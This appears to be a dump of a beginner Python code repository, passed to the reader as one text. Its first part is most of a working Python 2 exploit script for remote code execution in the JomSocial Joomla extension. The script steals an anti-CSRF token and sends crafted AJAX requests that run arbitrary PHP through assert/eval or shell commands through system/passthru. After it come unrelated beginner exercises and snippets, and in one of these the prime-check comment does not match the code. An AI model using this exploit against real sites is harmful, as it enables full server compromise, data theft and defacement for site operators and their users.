/tmp/script_to_execute.php 23 | # 24 | # Execute shell commands(using system()): 25 | # ./exploit.py -u http://example.com/index.php -s "netstat -n" 26 | # 27 | # Exploit shell commands(using a user provided function, passthru in this case) 28 | # ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru 29 | # 30 | # Exploit execution example: 31 | # $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");' 32 | # [i] Retrieving cookies and anti-CSRF token... Done 33 | # [+] Executing PHP code... 34 | # string(12) "Hello World!" 35 | 36 | import urllib, urllib2, re, argparse, sys, os, cookielib 37 | 38 | class Exploit: 39 | token_request_data = 'option=com_community&view=frontpage' 40 | exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]' 41 | json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}' 42 | 43 | def __init__(self, url, user_agent = None, use_eval = True): 44 | self.url = url 45 | self._set_user_agent(user_agent) 46 | self.use_eval = use_eval 47 | self.token_regex = re.compile('') 48 | self.cookie_jar = cookielib.CookieJar() 49 | self.token = self._retrieve_token() 50 | self.result_regex = re.compile('method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\">
(.*)
', re.DOTALL) 51 | self.command_regex = re.compile('(.*)\\[\\["as","ajax_calls","d",""\\]', re.DOTALL) 52 | 53 | def _set_user_agent(self, user_agent): 54 | self.user_agent = user_agent 55 | 56 | def _make_opener(self): 57 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie_jar)) 58 | opener.addheaders.append(('Referer', self.url)) 59 | if self.user_agent: 60 | opener.addheaders.append(('User-Agent', self.user_agent)) 61 | return opener 62 | 63 | def _retrieve_token(self): 64 | opener = self._make_opener() 65 | sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ') 66 | sys.stdout.flush() 67 | req = opener.open(self.url, Exploit.token_request_data) 68 | data = req.read() 69 | token = self.token_regex.findall(data) 70 | if len(token) < 1: 71 | print 'Failed' 72 | raise Exception("Could not retrieve anti-CSRF token") 73 | print 'Done' 74 | return token[0] 75 | 76 | def _do_call_function(self, function, parameter): 77 | parameter = parameter.replace('"', '\\"') 78 | json_data = Exploit.json_data.format(function, parameter) 79 | json_data = urllib2.quote(json_data) 80 | data = Exploit.exploit_request_data.format(self.token, json_data) 81 | opener = self._make_opener() 82 | req = opener.open(self.url, data) 83 | if function == 'assert': 84 | return req.read() 85 | elif function in ['system', 'passthru']: 86 | result = self.command_regex.findall(req.read()) 87 | if len(result) == 1: 88 | return result[0] 89 | else: 90 | return "[+] Error executing command." 91 | else: 92 | result = self.result_regex.findall(req.read()) 93 | if len(result) == 1: 94 | return result[0].replace('\\/', '/').replace('\\"', '"').replace('\\n', '\n') 95 | else: 96 | return "[+] Error executing command." 97 | 98 | def call_function(self, function, parameter): 99 | if self.use_eval: 100 | return self.eval("echo {0}('{1}')".format(function, parameter)) 101 | else: 102 | return self._do_call_function(function, parameter) 103 | 104 | def disabled_functions(self): 105 | return self.call_function("ini_get", "disable_functions") 106 | 107 | def test_injection(self): 108 | result = self.eval("echo 'HELLO' . ' - ' . 'WORLD';") 109 | if 'HELLO - WORLD' in result: 110 | print "[+] Code injection using eval works" 111 | else: 112 | print "[+] Code injection doesn't work. Try executing shell commands." 113 | 114 | def eval(self, code): 115 | if code [-1] != ';': 116 | code = code + ';' 117 | return self._do_call_function('assert', "@exit(@eval(@base64_decode('{0}')));".format(code.encode('base64').replace('\n', ''))) 118 | 119 | 120 | 121 | parser = argparse.ArgumentParser( 122 | description="JomSocial >= 2.6 - Code execution exploit" 123 | ) 124 | parser.add_argument('-u', '--url', help='the base URL', required=True) 125 | parser.add_argument( 126 | '-p', 127 | '--php-code', 128 | help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from') 129 | parser.add_argument('-s', '--shell-command', help='the shell command to execute') 130 | parser.add_argument('-c', '--shell-function', help='the PHP function to use when executing shell commands', default="system") 131 | parser.add_argument('-t', '--test', action='store_true', help='test the PHP code injection using eval', default=False) 132 | parser.add_argument('-n', '--no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True) 133 | 134 | args = parser.parse_args() 135 | if not args.test and not args.php_code and not args.shell_command: 136 | print '[-] Need -p, -t or -s to do something...' 137 | exit(1) 138 | url = args.url 139 | try: 140 | if not url.startswith('http://') and not url.startswith('https://'): 141 | url = 'http://' + url 142 | exploit = Exploit(url, use_eval=args.no_eval) 143 | if args.test: 144 | exploit.test_injection() 145 | elif args.php_code: 146 | code = args.php_code 147 | if args.php_code == '-': 148 | print '[i] Enter the code to be executed:' 149 | code = sys.stdin.read() 150 | elif os.path.isfile(code): 151 | try: 152 | fd = open(code) 153 | code = fd.read() 154 | fd.close() 155 | except Exception: 156 | print "[-] Error reading the file." 157 | exit(1) 158 | print '[+] Executing PHP code...' 159 | print exploit.eval(code) 160 | elif args.shell_command: 161 | print exploit.call_function(args.shell_function, args.shell_command) 162 | except Exception as ex: 163 | print '[+] Error: ' + str(ex) 164 | -------------------------------------------------------------------------------- /code/run_avl_trees.py: -------------------------------------------------------------------------------- 1 | ''' run the avl_tree_complete ''' 2 | from avl_tree_complete import Node 3 | 4 | root = Node(10) 5 | add = [8, 3, 1, 10, 5, 14, 9, 20, 13, 19] 6 | 7 | for i in add: 8 | root.insert(i) 9 | #delete 10 | #root.delete(8) 11 | #show_tree 12 | #print_tree 13 | #print(max(add)) 14 | #print(min(add)) 15 | #root.print_tree() 16 | #root.count_levels() 17 | root.show_tree() 18 | -------------------------------------------------------------------------------- /code/russss.py: -------------------------------------------------------------------------------- 1 | #Three lines to make our compiler able to draw: 2 | import sys 3 | import matplotlib 4 | matplotlib.use('Agg') 5 | 6 | import matplotlib.pyplot as plt 7 | import numpy as np 8 | 9 | x = np.random.normal(170, 10, 250) 10 | 11 | plt.hist(x) 12 | plt.show() 13 | 14 | #Two lines to make our compiler able to draw: 15 | plt.savefig(sys.stdout.buffer) 16 | sys.stdout.flush() 17 | -------------------------------------------------------------------------------- /code/string.py: -------------------------------------------------------------------------------- 1 | txt = input('Enter some text: ') 2 | alpha,digit,space = 0,0,0 3 | for x in txt: 4 | if x.isalpha():alpha+=1 5 | elif x.isdigit():digit+=1 6 | elif x.isspace():space +=1 7 | print('No. of Alphabets =',alpha) 8 | print('No. of Digits =',digit) 9 | print('No. of Spaces =',space) -------------------------------------------------------------------------------- /code/turtle_race.py: -------------------------------------------------------------------------------- 1 | import turtle 2 | import random 3 | 4 | colors = ["blue", "red", "green"] 5 | 6 | y_cord = [0, -100, 100] 7 | 8 | all_turtles = [] 9 | 10 | speeds = [3, 2, 5] 11 | 12 | turtle.setup(width=900, height=400) 13 | user_bet = turtle.textinput("Which colour do you bet on, Green, yellow or red?", "Give your bet here:") 14 | 15 | for i in range(3): 16 | t = turtle.Turtle() 17 | t.shape("turtle") 18 | t.color(colors[i]) 19 | t.speed(speeds[i]) 20 | t.penup() 21 | t.goto(-425, y_cord[i]) 22 | all_turtles.append(t) 23 | 24 | race = 1 25 | 26 | while race == 1: 27 | for x in all_turtles: 28 | a = random.randint(5, 20) 29 | x.forward(a) 30 | t_pos = x.xcor() 31 | if t_pos >= 425: 32 | print("The winning turtle is", x.pencolor()) 33 | if user_bet == x.pencolor(): 34 | print("You are correct!") 35 | else: 36 | print("You are incorrect") 37 | race = 0 38 | -------------------------------------------------------------------------------- /code/vowel.py: -------------------------------------------------------------------------------- 1 | 2 | text = input("Enter text: ") 3 | mod = "" 4 | for x in text: 5 | if x in "aeiouAIEOU": 6 | mod+="*" 7 | else: 8 | mod+=x 9 | print('Modified text: ',mod) 10 | -------------------------------------------------------------------------------- /code/wikipedia-random.py: -------------------------------------------------------------------------------- 1 | from bs4 import BeautifulSoup 2 | import requests 3 | 4 | # Trying to open a random wikipedia article 5 | # Special:Random opens random articles 6 | res = requests.get("https://en.wikipedia.org/wiki/Special:Random") 7 | res.raise_for_status() 8 | 9 | # pip install htmlparser 10 | wiki = BeautifulSoup(res.text, "html.parser") 11 | 12 | r = open("random_wiki.txt", "w+", encoding='utf-8') 13 | 14 | # Adding the heading to the text file 15 | heading = wiki.find("h1").text 16 | 17 | r.write(heading + "\n") 18 | for i in wiki.select("p"): 19 | # Optional Printing of text 20 | # print(i.getText()) 21 | r.write(i.getText()) 22 | 23 | r.close() 24 | print("File Saved as random_wiki.txt") 25 | -------------------------------------------------------------------------------- /code/wordcount.py: -------------------------------------------------------------------------------- 1 | txt = input('Enter some text: ') 2 | txt = txt.split(' ') 3 | print('No. of words =',len(txt)) -------------------------------------------------------------------------------- /snippets/day-to-hour.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: day-to-hour 3 | tags: math,beginner 4 | --- 5 | 6 | Convert Day To Hour. 7 | 8 | - Use the formula `hour = (day * 24)` to convert from day to hour. 9 | 10 | ```py 11 | def day_to_hour(day): 12 | hour = (day * 24) 13 | return hour 14 | ``` 15 | 16 | ```py 17 | day_to_hour(2) # 48 18 | ``` 19 | -------------------------------------------------------------------------------- /snippets/isprime.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: isprime 3 | tags: math, beginner 4 | --- 5 | 6 | Check if a number is prime 7 | 8 | - Loop from 2 to square root of the number to check if it is prime 9 | 10 | ```py 11 | def isprime(num): 12 | prime = True # Number is initially prime 13 | if num > 1: 14 | for i in range(2, num): # Loop each possible value 15 | if num % i == 0: # If number is divisible by this value 16 | prime = False # Number is no longer prime 17 | break 18 | return prime # Return if number is prime 19 | ``` 20 | 21 | ```py 22 | isprime(5) # True 23 | ``` 24 | -------------------------------------------------------------------------------- /snippets/reverse string.md: -------------------------------------------------------------------------------- 1 | 2 | --- 3 | title: Reverse String in python 4 | tags: string,beginner 5 | --- 6 | 7 | Reverse String. 8 | 9 | - Use the Slice method to Reverse String. 10 | 11 | ```py 12 | def my_function(x): 13 | return x[::-1] 14 | ``` 15 | 16 | ```py 17 | mytxt = my_function("I wonder how this text looks like backwards") 18 | print(mytxt) 19 | # output : sdrawkcab ekil skool txet siht woh rednow I 20 | ``` 21 | --------------------------------------------------------------------------------